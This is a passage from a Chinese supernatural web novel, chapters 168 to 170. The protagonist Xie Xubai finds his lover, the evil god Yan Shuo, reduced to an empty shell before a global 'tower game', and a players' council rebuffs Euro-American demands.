但那些火焰宛如生长在组长的身上,和他融为一体,扑灭的瞬间,组长叫得更加凄惨,神色狰狞得像被抽筋剖骨。 “救命!救我!不,别碰火,别碰我,啊啊啊啊——” 灭掉的火焰再次点燃,无法阻挡地将组长吞噬,直至将其烧成一道扭曲痉挛的瘦长鬼影,瘫在地上,宛如死狗般呻吟。 除了他,化工厂内还有十来个人遭到同样残酷的折磨。 他们之中,有没能尽职的安全检查员,也有火灾发生时拿同事当挡箭牌和垫背的员工。 “救,救……!” 最后都被无端出现的大火付之一炬,在剧痛中咽气,被烧成可怖的鬼影。 斗篷人招了招手。 十几道鬼影化作一团浓雾,被ta收入掌心。 再摊手,那些鬼影竟在瞬间化作数枚圆润光滑的黑棋,与冷白修长的指骨相衬,周身萦绕着丝丝缕缕的怨气。 直勾勾地看着那几枚棋子,谢叙白的心中仿佛掀起惊涛骇浪。 斗篷人所说的“以人命为筹码”,突然在此刻有了具象化的显现。 这不是最可怕的。 最让人心惊动魄的是,当谢叙白感受到一股难以抵抗的威压,猛然抬起头。 他震惊错愕地看见,密密麻麻的黑色棋子飘浮在斗篷人的身后,形如漆黑庞大的天幕,将半边天穹遮挡。 每颗棋子都似乎有灵魂,有意识,在斗篷人的操控下,微微颤抖着,细听甚至能听见里面传出的呜呜哀鸣。 一阵阴冷刺骨的寒意弥漫,让人毛骨悚然。 谢叙白如同浸在寒冬腊月的冰窟里,不敢想,却忍不住去数。 这里有多少枚棋子,千枚?万枚? 不!完全数不清,比那要多得多! 谢叙白指尖颤抖,不是害怕,是愤怒,压抑不住的火气直线上涌。 发现斗篷人或许和系统有仇的那一刻,他产生过想法,和对方联手对抗系统。 可是现在,他错了,大错特错。 这个丧心病狂的混账,简直死不足惜! 斗篷人将谢叙白眼中森冷的杀意看得清清楚楚,略一停顿。 但那停顿的幅度很微小,被密密麻麻的棋子遮挡,谁也没能瞧见。 “谢叙白。” 如同宣判某个隐秘而沉重的预言,斗篷人轻轻地说道:“最后的游戏就要开始了。” “三天之后,游戏之家将会入驻包括H市在内的多个城市,以赢得多项游戏,赚取积分达成登塔条件为目标,面向世界开展一场全球性大型登塔活动。” “根据规则,我会在塔顶守擂。”ta的视线居高临下,“而你是唯一有资格和我一同下棋的人。” “这是命定的。” “我给你充足的时间,去搜寻可用的棋子,到了时间,你可以直接来塔顶找我。” 不等斗篷人说完,金光再次裹挟着厉风飞射而来,谢叙白欺身而上! ta深深地凝视着冲过来的谢叙白,眼神从审视,不易察觉的触动,到归于宁静。 ta睁眼闭眼,又扯开嘴角,笑容隐含着压不住的兴奋和癫狂。 “期待你的参加!” 苍白月光普照而下,棋子消失,斗篷人往后一退。 金光穿透ta淡化消失的身体,狠狠地钉在空荡荡的大理石地砖上,只留一片微微打旋的寒风。 第168章 “宴朔,你的意识去哪…… “老师,消防队已经赶到火灾现场,但现场没有物件被烧毁的痕迹。我们尝试联系工厂的老板,可是电话打不通。值班人员说老板早上来,然而中午过后就没有人再看见过他的身影,我们怀疑他已经遭遇了不测。” “执法大队登记了失踪的遇难者名单,并想办法联系到他们的家人通知情况。” “我现在正带人去交通安全监管部门,调取化工厂附近的道路监控,又安排了一部分人去附近的商店调取私家监控,寻找目击路人,看能不能找到那人的逃离方向……这个该死的疯子!” 化工厂内的监控画面并没有全部损毁,一部分镜头拍下遇难者无火自燃的一幕。 谢凯乐将那凄惨的影像映入眼底,抵在监控屏幕前的手忍不住攥紧,重重地砸了一下桌子,嘭,水杯摇晃。 他知道是诡异力量作祟,也明白通过现实手段抓捕凶手的可能性非常小。 但事到如今,难道要什么都不做,让那灭绝人性的刽子手逍遥法外吗。 电话里少年咬牙切齿,语气饱含压抑不住的悲愤。 谢叙白没有安慰他,静等着。 谢凯乐早已不是从前那个冲动又沉不住气的少年,很快,就用几个深呼吸将波动的情绪压了下去。 待少年呼吸平稳,谢叙白方才开口,柔和地嗯了一声,简单交代几个注意事项和侦查方向,让谢凯乐放手去查。 挂断电话,谢叙白的脸色便沉了下去,修长五指捏着怎么呼唤都毫无反应的金丝眼镜,目光直指不远处高耸入云的商业大厦。 他和迅速赶到的岑向财,正骑着平安快速前往盛天集团。 神秘人消失前语焉不详地说出那句“最后的游戏就要开始了”,仿佛风雨欲来的前兆,给谢叙白一种分外不妙的感觉。 以前虽然也有类似的感觉,却从没像今天这样强烈。 也是那时,金丝眼镜僵硬得如同死物,在他影子里躲懒的小触手没有动静,联系宴朔又毫无音讯。 原本对宴朔实力的肯定,让谢叙白在神秘人提到宴朔的对峙中毫无波澜。 直到现在,他无法再保持住那份绝对的平静,心中不妙的预感攀升到顶峰。 很快平安裹挟着寒风在地面刹停,甩了甩脑袋。 似乎发现什么异常,它突然警觉,浑身毛发炸开,龇牙发出警告威胁的低吼。 岑向财先跳了下去,顺手将谢叙白接下来。 他还没有辞职,身为盛天集团的秘书,对公司的变化更敏锐。 几乎在平安开口的前一刻,岑向财便拧着眉头看了过去。 大厦出入口的玻璃大门后面,悄无声息地站着许多人。 不,将它们称之为人已经不太恰当。 黑暗中许多扭曲的影子重合在一起,像地狱深处张牙舞爪的怪物。 一张张或肥大或枯瘦的脸贴在玻璃上,浑身上下已经看不见人形。 盛天集团统一发放的员工服还套在它们的身上,白底蓝字的胸牌写着名字。布料被庞大的体格撑到极致,纽扣不堪重负颗颗崩断,只剩最后一两颗摇摇欲坠地挂住前襟。 岑向财心觉不好。 这群家伙最会审时度势,平时宴朔在的时候,一个个夹紧尾巴装得人模狗样。 眼下,怕不是宴朔出了什么事,才会这么放肆。 忽然,门口的影子动了。 像饥肠辘辘嗅到肉味的鬣狗,所有怪物刹那间变得疯狂、暴躁,直勾勾地盯着谢叙白。 “人类!是人类的味道!人类——!” 黏腻的涎水顺着殷红开裂的唇角淌下,影子用力地将玻璃门撞得哐当乱响。 仿佛下一刻,门上就会碎开一个大洞,怪物顺着缝隙鱼贯而出,将谢叙白大快朵颐! 如果是普通的人类,还不至于让它们如此垂涎欲滴。 问题是谢叙白的身体里涌动着巨大蓬勃的能量,就像唐僧肉,对渴望强大的怪物有着致命的吸引力。 岑向财还算和缓的脸色瞬间冷若冰霜,眼中血色迸现,凶戾的气息犹如威压铺天盖地倒向盛天集团的员工! “我看你们是活得不耐烦了!” 在难以抵抗的威压下,怪物一头接一头地扑通倒下,流露出痛苦之色,终于安分了不少,从门口稍微散开一点。 但当谢叙白走到门口,一步跨入盛天集团的地界时,这群怪物就像春风吹又生的野草,再次满脸贪婪地抵在玻璃门口。 岑向财再度释放威压。 怪物们痛苦到脸色青白狰狞,皮肤表面呈现崩毁的溶解态,却不肯再挪开一步。 一双双非人的眼珠子紧盯谢叙白的脑袋,用力到从眼眶中几乎凸出来,细长的青筋血管若隐若现。 仿佛只要能吃掉谢叙白,它们就算死也甘愿。 这种极端的渴望已经不能用疯狂来形容了,岑向财怀疑规则作祟,心中油然生出森冷杀念。 但在他动手之前,无数道金光划破岑寂夜幕,裹挟着呼啸冷风轰然震开大门,将一头头龇牙咧嘴的怪物全部钉在墙上! 岑向财愣了愣,看向身侧大跨步迈进公司的谢叙白。 谢叙白在一众扭曲蠕动的员工里面,逮住一个看起来还算人样的家伙,揪起它的领子冷声问:“宴朔在哪?” 怪物忍着疼痛,惊惧地看着他,含混不清地嘟囔:“我不知道,不知道……” 身后的岑向财刚一走过来,就看见状似怯懦的怪物挪了挪位置,粗长的尾巴蠢蠢欲动地往上一抬。 如同毒蝎尾针兴奋地舒展开,在月光下反射出幽微的凶光,尖端直指谢叙白的后心! 岑向财焦急地冲过去:“躲开!谢叙白!” 却见谢叙白头也不回,淡然的视线往后移,金光瞬间在背后凝聚成厚实的屏障。 没等怪物的尾巴和屏障相撞,一股极其恐怖的威压顷刻间从头顶传开,裹挟着雷霆破均之势,将怪物的尾巴碾成血肉碎末! “啊!!!”怪物瞳孔骤缩,发出尖锐的惨叫。 晴朗的夜晚忽然乌云密布,轰然一道雷霆划过天幕,惨白的雷光将半边天映得亮如白昼,也照亮了公司一层的昏暗。 轰隆隆—— 阴影中不安分的无数怪物感受到这股骇人的威压,当即手脚发软地匍匐在地,瑟瑟发抖,不敢妄动。 谢叙白嗅到空气中弥漫着一股熟悉的咸涩气息,犹如海风吹过,瞬间站起身,往头顶唤了一声:“宴朔?” 没有得到回应。 谢叙白快步走进电梯,对岑向财说:“我上去看看情况。” “欸,等……!”僵滞的岑向财立即回神,想要阻拦但慢了一步,电梯门已经合上。 电梯显示屏指向二层,三层…… 到了第十层,岑向财不出意料听到身后传来噗呲噗呲的声响。 他僵硬地看过去。 只见刚才气焰嚣张的怪物,全部犹如石化般立在原地。 像是压力从内到外释放,摧毁它们的肌肉组织,皮肤冒出一连串臃肿的血泡鼓包,又在某一瞬间,全部炸开,化作黑红色的齑粉。 整个一层,眨眼之间陷入死寂,除了岑向财以外再不见任何活物,只剩下密密麻麻的血肉粉尘。 岑向财忍了又忍,还是没忍住后退一步,来到大楼外,躲开这些恶臭的碎屑。 他凝重地看向雷鸣大作的天空。 盛天集团的最顶层环绕着漆黑雷电,一圈又一圈,宛如荆棘丛生,又像是某个搭建出来的巨大巢穴,散发着诡谲阴冷的气息。 虽说这些员工早晚都要被清算,但这还是第一次,宴朔用上如此暴虐的手段。 到底发生了什么事? 另一边,谢叙白搭乘电梯前往大厦最顶层。 几乎每往上一层,电梯就会不稳地摇晃一下,内置灯光闪烁不断。 数道邪恶阴森的视线透过电梯门将他锁定,仿佛电梯门外有什么怪物在虎视眈眈。 谢叙白屏住呼吸,做好战斗的准备。 奇怪的是,没一会儿,那些视线就彻彻底底地消失了,安静得像是不存在。 谢叙白一路畅通无阻地来到三十二层,出电梯,走廊亮起暖黄色的灯光。 他径直走到总裁办公室门前,再度敲门呼唤:“宴朔?宴朔!” 没能听到宴朔的声音,甚至一点细微的动静都听不见。 谢叙白皱着眉头散发识念,但就像投入无底洞,没有任何回馈。 他神色一凛,往后两步,在金光的推动借势下,一脚踹开办公室的门! “宴朔!” 办公室里空无一人。 只有一个漆黑如墨像是蚕茧般的巨物静静地悬浮在半空,几乎挤占半个办公室。 谢叙白在它身上感受到了宴朔的气息,刚才那股遏制怪物的威压,似乎也由它所释放。 正观察着,巨物忽然动了动。 仿佛感应到谢叙白的靠近,密不透风的卵壳从顶端正中心位置一路朝下裂开数道裂缝。 滑腻粗长的触手从里面挥舞着伸出来,勾着谢叙白的腰,慢吞吞地将人拢在面前。 谢叙白被宴朔的触手卷过很多次,通过熟悉的触感和吸盘的张力,认出这是宴朔的本体,不会有假。 他正要露出放松的笑脸,下一刻却再次僵住。 触手将谢叙白拢过来,轻轻贴靠上去,便不再动弹。 它的触肢很僵硬,外皮柔韧软弹,蕴含着强大到可怖的力量,却没有任何鲜活的生机,就像桌椅板凳那样的死物。 谢叙白希望自己感觉错了,想错了。 他用精神力将面前的巨物从里到外检查完,翻来覆去搜寻无数遍,心终于一点点地沉了下去。 “宴朔……”谢叙白颤抖的手掌贴在触手上,声线含着细微的不稳,“你的意识去哪儿了?” 第169章 睡吧 不是将自我意识封闭,宴朔的本体完完全全地变成了一个没有灵魂的空壳。 谢叙白一瞬间被钉在原地,诸多不祥的猜测洪水般灌入脑海,激荡震颤,搅得满脑子天翻地覆。 这一刻他很混乱,像在嘈杂的厅吧中喝醉酒,耳畔皆是嗡嗡不休的杂音。 他不知道自己具体在想什么,脑子里划过很多画面。 谢叙白想起这一次轮回和宴朔在无垢海中初见。 海下岑寂无光,他以为自己会无限地下坠,直到掉入深渊。 男人宽厚有力的大掌,却如垂入悬崖的绳索,破开激荡的暗潮,握住他冰凉的手掌,稳稳地将他一把拽出海面。 谢叙白想起宴朔在江家祭坛为他梳妆。 江家被污秽侵染,对邪神来说,恶臭扑鼻。 男人的行为举止压着快要爆发的暴躁和不耐,却在看向他的时候,汹涌海潮一瞬平息。 谢叙白想起第一次进入宴朔的意识海,男人看向他,笼在脸上的白雾簌簌掉落,露出睁大抖颤的瞳孔。 想起觉察他的惧意时,宴朔不由分说地扣住他的手腕,捏向脆弱的小白花,将软肋亲手递到他的掌下。 然后一字一顿,别扭地强调:“你可以在任何地方怕我,唯独这里不用。” 想起此后再度进入意识海,屈膝坐在田坎上的宴朔第一时间扭头。 仅是面无表情地朝他瞥上一眼,贫瘠干裂的土地,便悄无声息地冒出数朵小白花,冲他欢快地摇曳花瓣。 想起他从二十年后时间线返回,承受不住孤单的金丝眼镜将自己分裂成几十份,将他团团围堵。 静谧月光洒下,男人将他死死地抵在墙上,掰住他的下巴,逼迫他只能仰头看着自己,看清楚祂眼中的痴缠、怨怼和贪恋。 然后裹挟着喷张的雄性荷尔蒙将他的唇齿反复浸透。 在那凶猛如疾风骤雨的攻势下,谢叙白浑身的力气都被卸掉了。快感如雷电打入他的脊髓,他腿软,一阵战栗,抓着宴朔站不稳,几乎以为自己会被生吞活剥。 可当他气喘吁吁地睁眼时,发现自己正好端端地靠在宴朔的胸口。 后者避开裴玉衡,带他来到隐蔽的地方。 蒲扇般的宽掌从上往下,顺着他气喘起伏的后背,一下下不厌其烦地拍抚。 又将精神力细致地分解成小股,为他填补意识海的亏空。 安静到针落可闻的办公室,谢叙白缓声喃喃道:“……我该问一句。” 他该找斗篷人问一句宴朔的情况。 哪怕在敌人面前暴露在意是大忌,哪怕斗篷人大概率不会回答,总好过现在的一无所知。 谢叙白垂下眼睫,将缠在自己腰上的触手一点点掰开。修长薄瘦的指节青筋微鼓,唇角绷紧成一条凌厉的直线。 斗篷人虽然给出三天时限,却不代表这三天一定会风平浪静,他不能坐以待毙。 触手被谢叙白掰开,不等他走出去,下一秒又软趴趴地圈了上来,勾着谢叙白的后脑勺,猝不及防地将他按在卵壳的表皮上。 本想挣扎的谢叙白骤然僵住。 他模模糊糊地看到了一段影像,明摆着是宴朔消失前刻意留下来的。 这个发现让谢叙白瞬间提起十二分的注意力。 影像以宴朔的视角呈现。 祂站在办公桌前,面向惨不忍睹的墙面。 之所以惨不忍睹,是因为无数道漆黑的鬼影被拍成血肉模糊的烂泥糊在了墙面上,碎屑溅得地板上到处都是。 谢叙白心道,看来他所经历的袭击,宴朔也经历了一遍。 但这种程度的攻击显然威胁不了邪神,谢叙白站在宴朔的视角,发现宴朔连呼吸都不带变化。 直到其中一道快要咽气的瘦长鬼影被控制着,捏着沙哑粗糙的腔调,像强行拉开的破风箱,断断续续开口。 “你,不肯归附虚空,会一直被排斥在游戏规则之外……” “你只能看着,害怕的事情再次发生……” “就像第一次,第二次,第无数次那样看着。你只能眼睁睁地看着……” “你,无能为力,弱小至极。” 瘦长鬼影吐字的时候,空气中浮现出诡异细微的波纹。 它使用了某种蛊惑人心的伎俩,但那力量十分微弱。在谢叙白看来,甚至比不上小触手可怜巴巴央求他一起玩时无意散发的诱惑力。 但谢叙白却听到了宴朔愈发粗重的呼吸,指节骨骼猛然攥紧,传出剧烈的摩擦声。 刹那间,空气中忽然生成一股风暴,掀翻桌椅将鬼影狠掼在地!鬼影仿佛被无形的重压碾压全身,肌肉骨头在令人毛骨悚然的响动中一寸寸地碎裂…… 影像开始不稳摇晃。 仓促间谢叙白尝试将视角转换。 宴朔和小触手一样,眼睛可视却并非主要视觉。祂们用精神感知注视世界,视角可以多重转换,蔓延四周。 谢叙白的精神体漂浮到半空,瞥见宴朔的瞳孔转换成岩浆熔铁般的颜色。 它疯狂地颤抖着,凝成猛兽般的竖瞳,仿佛能从金红色的眼底深处,窥见宴朔岌岌可危的理智。 宴朔终于开口:“好。” 祂的声线平平淡淡,却透着一股叫人寒毛直竖的疯狂。 “但让我归附你们,你们还不够格。” 宴朔脚下的影子蠕动着,朝瘦长鬼影潮水般蔓延而去。 空气变得黏稠而冰冷,犹如怪物缓缓地张开血盆大口。 再然后,谢叙白就什么都看不见了。 接下来的画面或许有些凶残,宴朔特意掐断,没让他看。 黑暗的力量将谢叙白温柔包裹,拭去冰凉的汗珠。 “谢叙白。” 低沉磁性的嗓音在谢叙白脑海中响起,像男人紧贴着他,眷恋不舍地与他耳鬓厮磨。 “如果你来了,只看到我的本体,不用慌张,我已将意识抽离,去解决一个不知死活的家伙。” 宴朔:“那家伙是这场游戏的主谋,也代表着系统及其背后势力。我有一个关乎祂们身份的猜测,只是世界异化时,这部分真相也被设下限制,需要等到你彻底成神之后再去尝试认知。 我知道强忍住冲动不去探究对你来说会很难捱,但忍一忍,嗯?” 带着薄茧的指腹在谢叙白的后颈轻轻摩挲两下,似是安抚。 宴朔接着说:“系统的力量看上去高于人类,实则会受到重重限制。游戏是祂们唯一可以借用来对付人类和诡异的手段,只要不去参与,就没有危险。” 略一停顿,宴朔忽地发出一声淡笑:“但你不可能不参与。” 谢叙白的五指缓慢蜷缩,想起梦中宴朔那句充满愤懑的怒吼。 那其实是个误会。 宴朔以为,谢叙白是为了让祂在他死后,能继续毫无芥蒂地庇护千千万人,才决定让祂忘记过去。 但谢叙白只是不想让宴朔被痛苦锁在原地。 眼下,宴朔应该还没想起这件事。 如果真的害怕邪神在他临终前说出的报复,谢叙白应该装作什么都不知道,然后躲得远远的。 毫无疑问,近乎神级的他,已经有了这个能力。 约莫半秒的静默后,谢叙白抖了抖眼睫,温和坚定地应了一声:“嗯,你知道的。” ——你不可能不参与。 ——嗯,你知道的。 仿佛能听到谢叙白的回答,宴朔又笑了一声:“如果没有意外,我们会在接下来的游戏中见面。” 随后,宴朔没有再吭声,黑暗的力量也随之从谢叙白的周围潮水般褪去。 谢叙白以为这就是宴朔最后的留言,长长地呼出一口气。 刚一抬头,就对上一双猩红流金的瞳孔。 宴朔遗留下来的最后一点识念,深情专注地凝望着谢叙白,盛着的热意如岩浆,几乎能将人灼伤。 “你真的来了……”祂发出一声满足的喟叹,“因为担心我么?” 能说出“你真的来了”,说明宴朔不确定谢叙白到底会不会找上门。 又或者,祂不确定谢叙白是否会第一时间来找祂。 长久以来,一个疑问始终如鱼刺扎在宴朔的心头。 如果没有分身留守过去二十多年的愧疚,也没有轮回的那些记忆,谢叙白会有一点喜欢祂么? 傲慢如祂,甚至没有信心问出口。 谢叙白的手指一颤。 还没来得及做出反应,他就被宴朔掰住下巴,所有的话都被堵回喉咙里。 唇舌交缠的战栗感如过电般迅速流窜至四肢百骸,谢叙白的喘息逐渐凌乱起来。 在密不透风的吮吸索取下,狭长的眼睫毛震颤如蝶翼,双眼逐渐迷离。 终于被逼到退无可退,谢叙白极轻地呜咽一声,湿润的眼尾可怜地洇开一抹惊心动魄的艳红,像缀在茫茫雪地的红梅。 不知多久后,两人唇齿分离。 谢叙白终于能换上一口气。 忽然闭了闭眼,毫无征兆地扯住宴朔将要散开的识念,再度颤颤巍巍地吻了上去。 …… 意识世界外,总裁办公室。 静止良久的触手终于慢吞吞地动了。 一根触手掀开床单,露出底下用黄金整齐搭建的黄金床。 其他几根触手合力,在不惊动谢叙白的前提下,硬生生将黄金床的中间摁凹下去一个可容人躺入的窝。 随后它们争先恐后地涌向衣柜。 被子、衣服、备用枕头…… 只要是柔软蓬松的东西,不由分说,全部拿出来,将窝铺得满满当当,软绵绵,看起来就非常好躺。 邪神本体的强度其实很恐怖,堪称这世上最坚硬的事物。 仅是触手落地时不小心在地上剐蹭一下,就将大理石瓷砖刮擦出几条深长的沟壑,石头渣子迸溅,地板伤痕累累。 它们齐心协力,小心翼翼地圈住谢叙白的膝弯和腰背,一根触手贴心地拖着后脑勺,将脆弱的人类放在窝里,全程没将一块皮肤碰红。 看似群魔乱舞实则整齐有序地做完这一切,粗长滑腻的触手蠢蠢欲动,想方设法往枕头缝隙里塞。 七根触手,为了能够争夺靠近谢叙白的位置,凶狠推攮,挤来又挤去。 在差点撞碎墙体弄醒谢叙白后,它们猛然一僵,终于不甘愿地达成协议,几根触手并起来,变成一张摊开的黑色大被子,将谢叙白脑袋往下整个罩住。 像如愿吸到猫薄荷的猫,餍足懒散地舒展吸盘。 它们没有自我意识,所有的行为全凭本能。 舒服过了头,谢叙白感觉到一阵沉沉的困意。 想到三天时间紧迫,他欲要挣扎。 不知道是不是被宴朔残留的识念所影响,金丝眼镜也有了反应,突然变成一截手掌,搭在谢叙白的鬓发上。 好似不苟言笑的男人正靠在床前,化作遮风挡雨的壁障,温柔地抚摸他的脸庞。 【睡吧。】 语气平稳靠谱。 像祂曾经承诺过的那样。 【放心睡一觉。我保证在你睁眼时,不会有别的意外发生,一切如常。】 第170章 向我们介绍那位仁慈的神…… 玩家空间,议会大厦。 此时会议室内几乎坐满了人,正前方电子投屏的大荧幕分三面摆放。桌子上零零散散地堆放着各类像是电子零件或文件资料的杂物。 有事情耽搁急匆匆的与会者,一眼看见文件上清晰可见的字样,瞬间心跳如擂鼓,想也没想地冲过去将纸页一把操起。 身体撞桌传出不小的声响,周围的人纷纷投来视线。 “这是什么?”顾不上被大家用异样的眼神注视,与会者紧盯纸页上清晰明了的文字,震惊得音量直线拔高,几乎要掀翻天花板,“为什么副本信息能够被记录?” 众所周知,一切和副本内容有关的信息,都无法用任何形式的载体记录下来。 这个苛刻至极的设定,一度导致副本通关率一直处在低得可怜的数值上。 就算是被人通关多次的副本,死伤者依旧不计其数。 如果一开始就能记录并共享所有通关信息。 如果大家能够利用数据整合分析,整理出安全合理的通关方案。 如果所有人能够团结地联合在一起。 玩家群体何至于这样被动! 旁边的人连忙拉着激动的他坐下,比手势示意他安静。 与会者这才注意到会议室不同往日的凝重气氛。 再一细看,室内至少布置了四重防窥视和偷听的高级道具,每个人的位置上都有一个独立的防护装置。 会议的主持人依旧是议会长,但前排都是些相较陌生的面孔,气度沉稳,不怒自威,像藏锋于鞘的剑刃。 身后闹出动静,他们也只是淡淡地瞥来一眼,便收回了视线。 那些人穿着统一的制式服装,而绣在衣服袖子侧面的印章是……军衔?! 与会者感到意外,天知道诡异游戏开始后,他已经有多久没见过正儿八经的军人了。 议会长原也是军人出身,但要时常在直播间露面,安抚人心,肩负着沉重的压力,早已被磋磨出沧桑疲态,大部分时间更像一个颓丧苦撑的老人。 不知道是不是因为这群人的到来,议会长今日看着精神不少,隐约也有了锋芒毕露的架势。 与会者旁边的人,这才指着其中一位穿黑色军工装的年轻人低声说道:“资料都是那位带来的,听说在游戏降临前从事军工科研的高精尖人才,按衔级我们得喊一声少将!” 与会者拿着纸页文件,将其视为无价之宝,丝毫不敢用力,看向年轻少将的目光充斥着惊异:“他到底是怎么做到的?” “和他的技能有关。”旁边的人咂舌,大概解释道,“我也不清楚原理,差不多就是让纸上的信息处于一个无法确定形式的量子状态,只有在我们有意识地观测时,文字才会坍缩成现实,否则就会以粒子的振动频率表现成概率波,而少将给可视波幅设置了一个仅容人类观测的限值……好了好了,直白点说,就是系统看着这些文字像在看薛定谔的猫,无法确定它们是否存在。” 与会者似懂非懂,不明觉厉地啧啧称叹:“……牛啊。” 很快又产生新的疑惑:“既然有这样的能力,为什么前几次首通副本的时候不用?” 旁边的人摇了摇头:“他们一直没有出现,可能是怀疑……” 他忽然闭上嘴,沉着脸,讳莫如深。 虽然没有明说,但与会者几乎第一时间想起之前闹得风风雨雨的胡昌事件,脸色也变得十分难看。 ——玩家群体中存在倒戈向系统的叛徒,并且还不是一个两个,他们人数众多到可以成立起极其庞大的背后组织,隐秘性极强,直到如今才被人发现。 不得不承认,这件事给了所有玩家一个极其响亮的耳光。 更让人如坐针毡的是,这个组织居然能拿出神级道具。 如果系统能堂而皇之地枉顾游戏的公平性,给自己的爪牙一路开绿灯,那他们要如何与之对抗? 这时议会长站了起来:“既然大家都到齐了,那么会议正式开始。这是一段前不久我们和美洲队的通讯影像,大家请看。” 众人戴上传译耳麦。 3D立体投影的光线从仪器中放射,映照在大荧幕上,很快勾勒出栩栩如生的虚拟景象。 一位西装革履的官员出现在众人的眼前。鹰钩鼻,轮廓深刻,面部特征鲜明,典型的欧美人,隶属于中央情报局。 官员在影像中面朝众人,视线从高往下,流露出一股显而易见的轻慢姿态,装模作样地抬了抬下巴。 “冒昧打扰,各位中洲队的成员,我代表欧美联盟会向诸位问好。” 官员口吻高傲:“我相信你们现在都接到了消息,在上一局试炼副本中,我们的英雄成员不负众望,顺利斩获胜利的冠冕,拿下【9】的通关进度! 而我也不得不向各位强调,现如今所有记录在榜的玩家有且仅有这一名记录【9】,他的价值难以估计,不论多少名玩家【8】也比不上他所代表的份量。 毫无疑问,他将会在下一场游戏中拿下最终胜利,达成【10】次通关记录,成为全人类的救世主!” 官员说:“欧美联盟会依旧保持最初的提议,要求中洲队履行国际联合战时公约,全力协助英雄成员及其小队通关下一场副本。 我们希望你们能派出战力排行榜前五十的玩家,勒令他们前往欧美联盟会分区静待调令。 同时将ta们的战力等级和技能详情,包括基本数值、发动条件、技能范围和弱点,事无巨细,全部告知。 特别是中洲游戏区出现的那名新任神祇,谢叙白。 我们必须要知道祂的召唤方法、性情喜恶、所属阵营和历史典故,评判祂的危险程度,是否有可能与人类交恶。 最后,请将中洲队举全洲之力,尽可能多的地收集战略物资,如积分、道具、军事科技产品等等,以便英雄小队在需要的时候获得必要的补给。” “一切都是为了人类的生死存亡。”中情局官员用堪称压迫的语气沉声说道,“还望中洲队能够遵循你们一贯大局为重的理念,全力配合。” 整个会议室弥漫开一片叫人窒息的死寂。 不少与会者听到那些离谱的要求,气得磨牙凿齿。 一句“欺人太甚”没来得及骂出口,就听到前排一名状似沉稳有度的军人讥诮地嗤笑一声,背往后靠:“我看老美那边是没睡醒,搁我们这儿许上愿了。” “这只是段投影,你再怎么嘲讽,那些屁股决定脑袋的家伙也听不到。” “说得是。”这名军官看向议会长,询问,“我方有对这段通讯做出回应吗?” 议会长:“还没有,我们不可能答应这种离谱的要求,但美洲队的那名英雄成员……” 语气迟疑。 不管如何,欧美那边有玩家达成记录【9】,而中洲队这边最高记录【8】,是事实。 【9】所代表的份量也如那名官员所说的重要至极,只差再赢下一场游戏,就可以赎回全人类的家园,结束这噩梦般的一切。 无论现在的三亿玩家是怎么想的,有什么心思和谋划,是摆烂咸鱼还是积极闯关,都将对那名记录【9】的玩家投入极高瞩目,只因他决定着所有人的未来。 军官了然地点了点头:“那正好今天一并说清楚了。” 他拿笔敲了敲桌面,旁边的助手立时会意,扭头拨出去一则视频通讯,画面实时共享在大荧幕上。 半个呼吸不到,影像朝外展开。 有人注意到助手似乎捏着什么道具。 这么快就被接通,显然是一则强制性通讯。 背景在一间私密办公室,还没看清楚有哪些人,就先听到沙发上传来一阵水乳交融、不堪入耳的动静。 而刚才在众人面前西装革履、风度翩翩的官员,此时正衣衫不整地压着某位女郎,一边发出急躁的喘息。 会议室再度陷入一阵难以言喻的沉寂。 终于有人捂着眼睛感觉自己快他被毒瞎了,忍无可忍地骂出一句:“靠——” 沙发上的官员浑身一震,抬起头正对上会议室众人一言难尽的目光,瞬间脸色铁青无比,崩溃地怒骂“fk”,抽出旁边的西装丢过来罩住通讯镜头。 那边接踵传来一阵兵荒马乱的动静,不时伴随着全英文的怒骂。 没多久,骂声逐渐变得有点慌张。 想来是这名官员左看右看,横竖没找到关闭这则通讯的办法,更没想通为什么跨越一整个洲际的自己能被锁定。 先前的军官终于缓慢开口,还算文质彬彬地轻嘲道:“无意叨扰阁下的好事,不过现在正值你所说的生死存亡之际,阁下居然还有闲心在办公重地享乐,这种尽显欧美乐天风范的行径,还真是让我们叹为观止。” 仿佛被这段嘲讽的话刺激到,遮盖在通讯上的衣服被官员无意扯了下来。 官员穿着皱巴巴的衬衫,脸色因愤怒而充血通红。 他用词激烈地胡乱说了些什么,大抵在指责会议室众人侵犯他的隐私。 但因为神情姿态都过于狼狈,显得没有什么气势。 军官道:“这则通讯,主要是对欧美联盟前不久提出的不合理要求作出回应。” “我方一致认为,只有相互信赖没有隔阂的联合,才能称得上是有效的联合。 所以我们要求,欧美一方也必须将你们的英雄成员玩家信息对外公布。 像你们在通讯记录中所提到的战力等级和技能详情,包括基本数值、发动条件、技能范围和弱点。请事无巨细,一应告知,不得隐瞒。” 高级军官抬起头,语调不咸不淡,言辞犀利:“如果做不到,我们有理由怀疑欧美联盟并非诚心建立这次合作,届时中洲队将以自己的方式捍卫和夺回我们的家园。” “当然,根据国际战时合约,为了全人类的未来,中洲队在游戏过程中也将尽力协助欧、美洲队。” 高级军官说道:“出于人道主义关怀,我们提醒欧美一方。 记录【9】固然重要,但如果这一次游戏失败,也将由记录【8】继续往前,挑起重任。中洲有句老话,‘不要将鸡蛋放在同一个篮子里’,做好胜利的打算,也要留好失败的退路。” “上述所言为代号K778通讯的回应,敬请知悉。” 通讯结束,影像消失。 助手给会议室又施加了几层保密限制,高级军官扫视一圈在场成员,宣布:“下一场游戏,巅峰会继续参战。” 这句话瞬间在会议室内掀起千层巨浪! 暗中观望的与会者们,终于知道面前的军人们为什么长得似曾相识。 这些人隶属于公会【巅峰】,是游戏降临后最早一批的前线攻略组!在成立初期,几乎集结了所有中洲区域最顶尖的战力精英人才! 除去巅峰成员和知情者,会议所有人的脑子里都忍不住冒出几个疑问。 为什么曾经辉煌的巅峰成员会在中途沉寂,又在此时现身? 高级军官继续说:“上一场试炼,系统开启全民战线模式,有四分之一的玩家被强制进入游戏。 各个洲区的副本则像往常一样,故事内核不变,背景融合当地文化。 如《屠龙少年》副本,我们遇到的是宅院少爷江凯乐,欧美那边是偏僻山村的古堡混血王子。如《请遵循设定》副本,我们的奖励关卡是第一医院,而那边是中央教堂。” “因为副本背景适配我们的日常认知、知识文化、社会体系,所以通关虽然有些艰难,对前线攻略组来说还不算桎梏。” 高级军官眸色暗沉,双手交叉抵在下颚:“但是按照系统一贯的作风,下一场试炼,这些有利因素或许都将消失。” “我们会遭遇不同文化的试炼背景,面临语言不通的困境。再者,至少有二分之一乃至于百分之百的玩家,会被强制进入这场游戏。所以,大家要做好最坏的打算。” 会议众人将这话听在耳朵里,不少人显露出凝重面色,却没有一人退缩。 